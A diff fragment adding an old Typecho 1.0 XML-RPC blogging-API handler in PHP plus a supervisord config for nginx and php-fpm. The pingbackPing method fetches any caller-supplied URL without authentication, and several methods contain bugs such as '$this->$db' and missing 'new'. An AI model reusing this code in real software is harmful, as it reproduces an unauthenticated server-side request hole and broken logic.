(isset($content['postId'])) { + $input['cid'] = $content['postId']; + } + + if ('page' == $type && isset($content['wp_page_template'])) { + $input['template'] = $content['wp_page_template']; + } + + if (isset($content['dateCreated'])) { + /** 解决客户端与服务器端时间偏移 */ + $input['created'] = $content['dateCreated']->getTimestamp() - $this->options->timezone + $this->options->serverTimezone; + } + + if (!empty($content['categories']) && is_array($content['categories'])) { + foreach ($content['categories'] as $category) { + if (!$this->db->fetchRow($this->db->select('mid') + ->from('table.metas')->where('type = ? AND name = ?', 'category', $category))) { + $result = $this->wpNewCategory($blogId, $userName, $password, array('name' => $category)); + if (true !== $result) { + return $result; + } + } + + $input['category'][] = $this->db->fetchObject($this->db->select('mid') + ->from('table.metas')->where('type = ? AND name = ?', 'category', $category) + ->limit(1))->mid; + } + } + + $input['allowComment'] = (isset($content['mt_allow_comments']) && (1 == $content['mt_allow_comments'] + || 'open' == $content['mt_allow_comments'])) ? 1 : ((isset($content['mt_allow_comments']) && (0 == $content['mt_allow_comments'] + || 'closed' == $content['mt_allow_comments'])) ? 0 : $this->options->defaultAllowComment); + + $input['allowPing'] = (isset($content['mt_allow_pings']) && (1 == $content['mt_allow_pings'] + || 'open' == $content['mt_allow_pings'])) ? 1 : ((isset($content['mt_allow_pings']) && (0 == $content['mt_allow_pings'] + || 'closed' == $content['mt_allow_pings'])) ? 0 : $this->options->defaultAllowPing); + + $input['allowFeed'] = $this->options->defaultAllowFeed; + $input['do'] = $publish ? 'publish' : 'save'; + + /** 调整状态 */ + if (isset($content["{$type}_status"])) { + $status = $this->wordpressToTypechoStatus($content["{$type}_status"], $type); + + if ('publish' == $status || 'waiting' == $status || 'private' == $status) { + $input['do'] = 'publish'; + + if ('private' == $status) { + $input['private'] = 1; + } + } else { + $input['do'] = 'save'; + } + } + + /** 对未归档附件进行归档 */ + $unattached = $this->db->fetchAll($this->select()->where('table.contents.type = ? AND + (table.contents.parent = 0 OR table.contents.parent IS NULL)', 'attachment'), array($this, 'filter')); + + if (!empty($unattached)) { + foreach ($unattached as $attach) { + if (false !== strpos($input['text'], $attach['attachment']->url)) { + if (!isset($input['attachment'])) { + $input['attachment'] = array(); + } + + $input['attachment'][] = $attach['cid']; + } + } + } + + /** 调用已有组件 */ + try { + /** 插入 */ + if ('page' == $type) { + $this->singletonWidget('Widget_Contents_Page_Edit', NULL, $input, false)->action(); + } else { + $this->singletonWidget('Widget_Contents_Post_Edit', NULL, $input, false)->action(); + } + + return $this->singletonWidget('Widget_Notice')->getHighlightId(); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + } + + /** + * 编辑post + * + * @param int $postId + * @param string $userName + * @param string $password + * @param struct $content + * @param bool $publish + * @access public + * @return int + */ + public function mwEditPost($postId, $userName, $password, $content, $publish = true) + { + $content['postId'] = $postId; + return $this->mwNewPost(1, $userName, $password, $content, $publish); + } + + /** + * 获取指定id的post + * + * @param int $postId + * @param string $userName + * @param string $password + * @access public + * @return void + */ + public function mwGetPost($postId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + try { + $post = $this->singletonWidget('Widget_Contents_Post_Edit', NULL, "cid={$postId}"); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + /** 对文章内容做截取处理,以获得description和text_more*/ + list($excerpt, $more) = $this->getPostExtended($post); + /** 只需要分类的name*/ + $categories = Typecho_Common::arrayFlatten($post->categories, 'name'); + $tags = Typecho_Common::arrayFlatten($post->tags, 'name'); + + $postStruct = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $post->created), + 'userid' => $post->authorId, + 'postid' => $post->cid, + 'description' => $excerpt, + 'title' => $post->title, + 'link' => $post->permalink, + 'permaLink' => $post->permalink, + 'categories' => $categories, + 'mt_excerpt' => $post->description, + 'mt_text_more' => $more, + 'mt_allow_comments' => intval($post->allowComment), + 'mt_allow_pings' => intval($post->allowPing), + 'mt_keywords' => implode(', ', $tags), + 'wp_slug' => $post->slug, + 'wp_password' => $post->password, + 'wp_author' => $post->author->name, + 'wp_author_id' => $post->authorId, + 'wp_author_display_name' => $post->author->screenName, + 'date_created_gmt' => new IXR_Date($post->created), + 'post_status' => $this->typechoToWordpressStatus($post->status, 'post'), + 'custom_fields' => array(), + 'sticky' => 0 + ); + + return $postStruct; + } + + /** + * 获取前$postsNum个post + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param int $postsNum + * @access public + * @return postStructs + */ + public function mwGetRecentPosts($blogId, $userName, $password, $postsNum) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $posts = $this->singletonWidget('Widget_Contents_Post_Admin', "pageSize={$postsNum}", 'status=all'); + + $postStructs = array(); + /** 如果这个post存在则输出,否则输出错误 */ + while ($posts->next()) { + /** 对文章内容做截取处理,以获得description和text_more*/ + list($excerpt, $more) = $this->getPostExtended($posts); + + /** 只需要分类的name*/ + /** 可以用flatten函数处理 */ + $categories = Typecho_Common::arrayFlatten($posts->categories, 'name'); + $tags = Typecho_Common::arrayFlatten($posts->tags, 'name'); + + $postStructs[] = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $posts->created), + 'userid' => $posts->authorId, + 'postid' => $posts->cid, + 'description' => $excerpt, + 'title' => $posts->title, + 'link' => $posts->permalink, + 'permaLink' => $posts->permalink, + 'categories' => $categories, + 'mt_excerpt' => $posts->description, + 'mt_text_more' => $more, + 'wp_more_text' => $more, + 'mt_allow_comments' => intval($posts->allowComment), + 'mt_allow_pings' => intval($posts->allowPing), + 'mt_keywords' => implode(', ', $tags), + 'wp_slug' => $posts->slug, + 'wp_password' => $posts->password, + 'wp_author' => $posts->author->name, + 'wp_author_id' => $posts->authorId, + 'wp_author_display_name' => $posts->author->screenName, + 'date_created_gmt' => new IXR_Date($posts->created), + 'post_status' => $this->typechoToWordpressStatus($posts->status, 'post'), + 'custom_fields' => array(), + 'wp_post_format' => 'standard', + 'date_modified' => new IXR_Date($this->options->timezone + $posts->modified), + 'date_modified_gmt' => new IXR_Date($posts->modified), + 'wp_post_thumbnail' => '', + 'sticky' => 0 + ); + } + + return $postStructs; + } + + /** + * 获取所有的分类 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return categoryStructs + */ + public function mwGetCategories($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return ($this->error); + } + + $categories = $this->singletonWidget('Widget_Metas_Category_List'); + + /** 初始化category数组*/ + $categoryStructs = array(); + while ($categories->next()) { + $categoryStructs[] = array( + 'categoryId' => $categories->mid, + 'parentId' => $categories->parent, + 'categoryName' => $categories->name, + 'categoryDescription' => $categories->description, + 'description' => $categories->name, + 'htmlUrl' => $categories->permalink, + 'rssUrl' => $categories->feedUrl, + ); + } + + return $categoryStructs; + } + + /** + * mwNewMediaObject + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param mixed $data + * @access public + * @return void + */ + public function mwNewMediaObject($blogId, $userName, $password, $data) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $result = Widget_Upload::uploadHandle($data); + + if (false === $result) { + return IXR_Error(500, _t('上传失败')); + } else { + + $insertId = $this->insert(array( + 'title' => $result['name'], + 'slug' => $result['name'], + 'type' => 'attachment', + 'status' => 'publish', + 'text' => serialize($result), + 'allowComment' => 1, + 'allowPing' => 0, + 'allowFeed' => 1 + )); + + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $insertId) + ->where('table.contents.type = ?', 'attachment'), array($this, 'push')); + + /** 增加插件接口 */ + $this->pluginHandle()->upload($this); + + return array( + 'file' => $this->attachment->name, + 'url' => $this->attachment->url + ); + } + } + + /** + * 获取 $postNum个post title + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param int $postNum + * @access public + * @return postTitleStructs + */ + public function mtGetRecentPostTitles($blogId, $userName, $password, $postsNum) + { + if (!$this->checkAccess($userName, $password)) { + return ($this->error); + } + + /** 读取数据*/ + $posts = $this->singletonWidget('Widget_Contents_Post_Admin', "pageSize=$postsNum", 'status=all'); + + /**初始化*/ + $postTitleStructs = array(); + while ($posts->next()) { + $postTitleStructs[] = array( + 'dateCreated' => new IXR_Date($this->options->timezone + $posts->created), + 'userid' => $posts->authorId, + 'postid' => $posts->cid, + 'title' => $posts->title, + 'date_created_gmt' => new IXR_Date($this->options->timezone + $posts->created) + ); + } + + return $postTitleStructs; + } + + /** + * 获取分类列表 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return categories + */ + public function mtGetCategoryList($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return ($this->error); + } + + $categories = $this->singletonWidget('Widget_Metas_Category_List'); + + /** 初始化categorise数组*/ + $categoryStructs = array(); + while ($categories->next()) { + $categoryStructs[] = array( + 'categoryId' => $categories->mid, + 'categoryName' => $categories->name, + ); + } + return $categoryStructs; + } + + /** + * 获取指定post的分类 + * + * @param int $postId + * @param string $userName + * @param string $password + * @access public + * @return void + */ + public function mtGetPostCategories($postId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + try { + $post = $this->singletonWidget('Widget_Contents_Post_Edit', NULL, "cid={$postId}"); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + /** 格式化categories*/ + $categories = array(); + foreach ($post->categories as $category) { + $categories[] = array( + 'categoryName' => $category['name'], + 'categoryId' => $category['mid'], + 'isPrimary' => true + ); + } + return $categories; + } + + /** + * 修改post的分类 + * + * @param int $postId + * @param string $userName + * @param string $password + * @param string $categories + * @access public + * @return bool + */ + public function mtSetPostCategories($postId, $userName, $password, $categories) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + try { + $post = $this->singletonWidget('Widget_Contents_Post_Edit', NULL, "cid={$postId}"); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + $post->setCategories($postId, Typecho_Common::arrayFlatten($categories, 'categoryId'), + 'publish' == $post->status); + return true; + } + + /** + * 发布(重建)数据 + * + * @param int $postId + * @param string $userName + * @param string $password + * @access public + * @return bool + */ + public function mtPublishPost($postId, $userName, $password) + { + if (!$this->checkAccess($userName, $password, 'editor')) { + return $this->error; + } + + /** 过滤id为$postId的post */ + $select = $this->select()->where('table.contents.cid = ? AND table.contents.type = ?', $postId, 'post')->limit(1); + + /** 提交查询 */ + $post = $this->$db->fetchRow($select, array($this, 'push')); + if ($this->authorId != $this->user->uid && !$this->checkAccess($userName, $password, 'administrator')) { + return new IXR_Error(403, '权限不足.'); + } + + /** 暂时只做成发布*/ + $content = array(); + $this->update($content, $this->db->sql()->where('table.contents.cid = ?', $postId)); + + + } + + /** + * 取得当前用户的所有blog + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return void + */ + public function bloggerGetUsersBlogs($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $struct = array(); + $struct[] = array( + 'isAdmin' => $this->user->pass('administrator', true), + 'url' => $this->options->siteUrl, + 'blogid' => '1', + 'blogName' => $this->options->title, + 'xmlrpc' => $this->options->xmlRpcUrl + ); + + return $struct; + } + + /** + * 返回当前用户的信息 + * + * @param int $blogId + * @param string $userName + * @param string $password + * @access public + * @return void + */ + public function bloggerGetUserInfo($blogId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + $struct = array( + 'nickname' => $this->user->screenName, + 'userid' => $this->user->uid, + 'url' => $this->user->url, + 'email' => $this->user->mail, + 'lastname' => '', + 'firstname' => '' + ); + + return $struct; + } + + /** + * 获取当前作者的一个指定id的post的详细信息 + * + * @param int $blogId + * @param int $postId + * @param string $userName + * @param string $password + * @access public + * @return void + */ + public function bloggerGetPost($blogId, $postId, $userName, $password) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + + try { + $post = $this->singletonWidget('Widget_Contents_Post_Edit', NULL, "cid={$postId}"); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + + $categories = Typecho_Common::arrayFlatten($post->categories, 'name'); + + $content = '<title>' . $post->title . ''; + $content .= '' . implode(',', $categories) . ''; + $content .= stripslashes($post->text); + + $struct = array( + 'userid' => $post->authorId, + 'dateCreated' => new IXR_Date($this->options->timezone + $post->created), + 'content' => $content, + 'postid' => $post->cid + ); + return $struct; + } + + /** + * bloggerDeletePost + * 删除文章 + * @param mixed $blogId + * @param mixed $userName + * @param mixed $password + * @param mixed $publish + * @access public + * @return bool + */ + public function bloggerDeletePost($blogId, $postId, $userName, $password, $publish) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + try { + $this->singletonWidget('Widget_Contents_Post_Edit', NULL, "cid={$postId}", false)->deletePost(); + } catch (Typecho_Widget_Exception $e) { + return new IXR_Error($e->getCode(), $e->getMessage()); + } + } + + /** + * 获取当前作者前postsNum个post + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param int $postsNum + * @access public + * @return void + */ + public function bloggerGetRecentPosts($blogId, $userName, $password, $postsNum) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + //todo:限制数量 + $posts = $this->singletonWidget('Widget_Contents_Post_Admin', "pageSize=$postsNum", 'status=all'); + + $postStructs = array(); + while ($posts->next()) { + $categories = Typecho_Common::arrayFlatten($posts->categories, 'name'); + + $content = '' . $posts->title . ''; + $content .= '' . implode(',', $categories) . ''; + $content .= stripslashes($posts->text); + + $struct = array( + 'userid' => $posts->authorId, + 'dateCreated' => new IXR_Date($this->options->timezone + $posts->created), + 'content' => $content, + 'postid' => $posts->cid, + ); + $postStructs[] = $struct; + } + if (NULL == $postStructs) { + return new IXR_Error('404', '没有任何文章'); + } + return $postStructs; + } + + /** + * bloggerGetTemplate + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param mixed $template + * @access public + * @return void + */ + public function bloggerGetTemplate($blogId, $userName, $password, $template) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + /** todo:暂时先返回true*/ + return true; + } + + /** + * bloggerSetTemplate + * + * @param int $blogId + * @param string $userName + * @param string $password + * @param mixed $content + * @param mixed $template + * @access public + * @return void + */ + public function bloggerSetTemplate($blogId, $userName, $password, $content, $template) + { + if (!$this->checkAccess($userName, $password)) { + return $this->error; + } + /** todo:暂时先返回true*/ + return true; + } + + /** + * pingbackPing + * + * @param string $source + * @param string $target + * @access public + * @return void + */ + public function pingbackPing($source, $target) + { + /** 检查源地址是否存在*/ + if (!($http = Typecho_Http_Client::get())) { + return new IXR_Error(16, _t('源地址服务器错误')); + } + + try { + + $http->setTimeout(5)->send($source); + $response = $http->getResponseBody(); + + if (200 == $http->getResponseStatus()) { + + if (!$http->getResponseHeader('x-pingback')) { + preg_match_all("/]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out); + if (!isset($out[1]['pingback'])) { + return new IXR_Error(50, _t('源地址不支持PingBack')); + } + } + + } else { + return new IXR_Error(16, _t('源地址服务器错误')); + } + + } catch (Exception $e) { + return new IXR_Error(16, _t('源地址服务器错误')); + } + + /** 检查目标地址是否正确*/ + $pathInfo = Typecho_Common::url(substr($target, strlen($this->options->index)), '/'); + $post = Typecho_Router::match($pathInfo); + + /** 这样可以得到cid或者slug*/ + if (!($post instanceof Widget_Archive) || !$post->have() || !$post->is('single')) { + return new IXR_Error(33, _t('这个目标地址不存在')); + } + + if ($post) { + /** 检查是否可以ping*/ + if ($post->allowPing) { + + /** 现在可以ping了,但是还得检查下这个pingback是否已经存在了*/ + $pingNum = $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments')->where('table.comments.cid = ? AND table.comments.url = ? AND table.comments.type <> ?', + $post->cid, $source, 'comment'))->num; + + if ($pingNum <= 0) { + + /** 现在开始插入以及邮件提示了 $response就是第一行请求时返回的数组*/ + preg_match("/\([^<]*?)\<\/title\\>/is", $response, $matchTitle); + $finalTitle = Typecho_Common::removeXSS(trim(strip_tags($matchTitle[1]))); + + /** 干掉html tag,只留下*/ + $text = Typecho_Common::stripTags($response, ''); + + /** 此处将$target quote,留着后面用*/ + $pregLink = preg_quote($target); + + /** 找出含有target链接的最长的一行作为$finalText*/ + $finalText = ''; + $lines = explode("\n", $text); + + foreach ($lines as $line) { + $line = trim($line); + if (NULL != $line) { + if (preg_match("|]*href=[\"']{$pregLink}[\"'][^>]*>(.*?)|",$line)) { + if (strlen($line) > strlen($finalText)) { + /** 也要干掉,*/ + $finalText = Typecho_Common::stripTags($line); + } + } + } + } + + /** 截取一段字*/ + if (NULL == trim($finalText)) { + return new IXR_Error('17', _t('源地址中不包括目标地址')); + } + + $finalText = '[...]' . Typecho_Common::subStr($finalText, 0, 200, '') . '[...]'; + + $pingback = array( + 'cid' => $post->cid, + 'created' => $this->options->gmtTime, + 'agent' => $this->request->getAgent(), + 'ip' => $this->request->getIp(), + 'author' => $finalTitle, + 'url' => Typecho_Common::safeUrl($source), + 'text' => $finalText, + 'ownerId' => $post->author->uid, + 'type' => 'pingback', + 'status' => $this->options->commentsRequireModeration ? 'waiting' : 'approved' + ); + + /** 加入plugin */ + $pingback = $this->pluginHandle()->pingback($pingback, $post); + + /** 执行插入*/ + $insertId = $this->singletonWidget('Widget_Abstract_Comments')->insert($pingback); + + /** 评论完成接口 */ + $this->pluginHandle()->finishPingback($this); + + return $insertId; + + /** todo:发送邮件提示*/ + } else { + return new IXR_Error(48, _t('PingBack已经存在')); + } + } else { + return IXR_Error(49, _t('目标地址禁止Ping')); + } + } else { + return new IXR_Error(33, _t('这个目标地址不存在')); + } + } + + /** + * 回收变量 + * + * @access public + * @param string $methodName 方法 + * @return void + */ + public function hookAfterCall($methodName) + { + if (!empty($this->_usedWidgetNameList)) { + foreach ($this->_usedWidgetNameList as $key => $widgetName) { + $this->destory($widgetName); + unset($this->_usedWidgetNameList[$key]); + } + } + } + + /** + * 入口执行方法 + * + * @access public + * @return void + */ + public function action() + { + if (isset($this->request->rsd)) { + echo +<< + + + Typecho + http://www.typecho.org/ + {$this->options->siteUrl} + + + + + + + + +EOF; + } else if (isset($this->request->wlw)) { + echo +<< + + + Yes + Yes + Yes + Yes + Yes + + Yes + Yes + Yes + Yes + Yes + Yes + + Yes + Yes + Yes + Yes + Yes + Yes + + Yes + + Yes + No + Yes + True + No + + + +EOF; + } else { + + + + /** 直接把初始化放到这里 */ + new IXR_Server(array( + /** WordPress API */ + 'wp.getPage' => array($this, 'wpGetPage'), + 'wp.getPages' => array($this, 'wpGetPages'), + 'wp.newPage' => array($this, 'wpNewPage'), + 'wp.deletePage' => array($this, 'wpDeletePage'), + 'wp.editPage' => array($this, 'wpEditPage'), + 'wp.getPageList' => array($this, 'wpGetPageList'), + 'wp.getAuthors' => array($this, 'wpGetAuthors'), + 'wp.getCategories' => array($this, 'mwGetCategories'), + 'wp.newCategory' => array($this, 'wpNewCategory'), + 'wp.suggestCategories' => array($this, 'wpSuggestCategories'), + 'wp.uploadFile' => array($this, 'mwNewMediaObject'), + + /** New Wordpress API since 2.9.2 */ + 'wp.getUsersBlogs' => array($this, 'wpGetUsersBlogs'), + 'wp.getTags' => array($this, 'wpGetTags'), + 'wp.deleteCategory' => array($this, 'wpDeleteCategory'), + 'wp.getCommentCount' => array($this, 'wpGetCommentCount'), + 'wp.getPostStatusList' => array($this, 'wpGetPostStatusList'), + 'wp.getPageStatusList' => array($this, 'wpGetPageStatusList'), + 'wp.getPageTemplates' => array($this, 'wpGetPageTemplates'), + 'wp.getOptions' => array($this, 'wpGetOptions'), + 'wp.setOptions' => array($this, 'wpSetOptions'), + 'wp.getComment' => array($this, 'wpGetComment'), + 'wp.getComments' => array($this, 'wpGetComments'), + 'wp.deleteComment' => array($this, 'wpDeleteComment'), + 'wp.editComment' => array($this, 'wpEditComment'), + 'wp.newComment' => array($this, 'wpNewComment'), + 'wp.getCommentStatusList' => array($this, 'wpGetCommentStatusList'), + + /** New Wordpress API after 2.9.2 */ + 'wp.getProfile' => array($this, 'wpGetProfile'), + 'wp.getPostFormats' => array($this, 'wpGetPostFormats'), + 'wp.getMediaLibrary' => array($this, 'wpGetMediaLibrary'), + 'wp.getMediaItem' => array($this, 'wpGetMediaItem'), + 'wp.editPost' => array($this, 'wpEditPost'), + + /** Blogger API */ + 'blogger.getUsersBlogs' => array($this, 'bloggerGetUsersBlogs'), + 'blogger.getUserInfo' => array($this, 'bloggerGetUserInfo'), + 'blogger.getPost' => array($this, 'bloggerGetPost'), + 'blogger.getRecentPosts' => array($this, 'bloggerGetRecentPosts'), + 'blogger.getTemplate' => array($this, 'bloggerGetTemplate'), + 'blogger.setTemplate' => array($this, 'bloggerSetTemplate'), + 'blogger.deletePost' => array($this, 'bloggerDeletePost'), + + /** MetaWeblog API (with MT extensions to structs) */ + 'metaWeblog.newPost' => array($this, 'mwNewPost'), + 'metaWeblog.editPost' => array($this, 'mwEditPost'), + 'metaWeblog.getPost' => array($this, 'mwGetPost'), + 'metaWeblog.getRecentPosts' => array($this, 'mwGetRecentPosts'), + 'metaWeblog.getCategories' => array($this, 'mwGetCategories'), + 'metaWeblog.newMediaObject' => array($this, 'mwNewMediaObject'), + + /** MetaWeblog API aliases for Blogger API */ + 'metaWeblog.deletePost' => array($this, 'bloggerDeletePost'), + 'metaWeblog.getTemplate' => array($this, 'bloggerGetTemplate'), + 'metaWeblog.setTemplate' => array($this, 'bloggerSetTemplate'), + 'metaWeblog.getUsersBlogs' => array($this, 'bloggerGetUsersBlogs'), + + /** MovableType API */ + 'mt.getCategoryList' => array($this, 'mtGetCategoryList'), + 'mt.getRecentPostTitles' => array($this, 'mtGetRecentPostTitles'), + 'mt.getPostCategories' => array($this, 'mtGetPostCategories'), + 'mt.setPostCategories' => array($this, 'mtSetPostCategories'), + 'mt.publishPost' => array($this, 'mtPublishPost'), + + /** PingBack */ + 'pingback.ping' => array($this,'pingbackPing'), + 'pingback.extensions.getPingbacks' => array($this,'pingbackExtensionsGetPingbacks'), + + /** hook after */ + 'hook.afterCall' => array($this, 'hookAfterCall'), + )); + } + } +} diff --git a/Typecho/1.0/php-fpm/super.ini b/Typecho/1.0/php-fpm/super.ini new file mode 100644 index 000000000..d1a76f7c8 --- /dev/null +++ b/Typecho/1.0/php-fpm/super.ini @@ -0,0 +1,21 @@ +[supervisord] +nodaemon=true + + +[program:nginx] +command=nginx +numprocs=1 +autostart=true +autorestart=false +startsecs=0 + + +[program:php-fpm] +command=php-fpm5 +numprocs=1 +autostart=true +autorestart=false +startsecs=0 +redirect_stderr=true +stdout_logfile=/dev/php_fpmstdout +stdout_logfile_maxbytes=0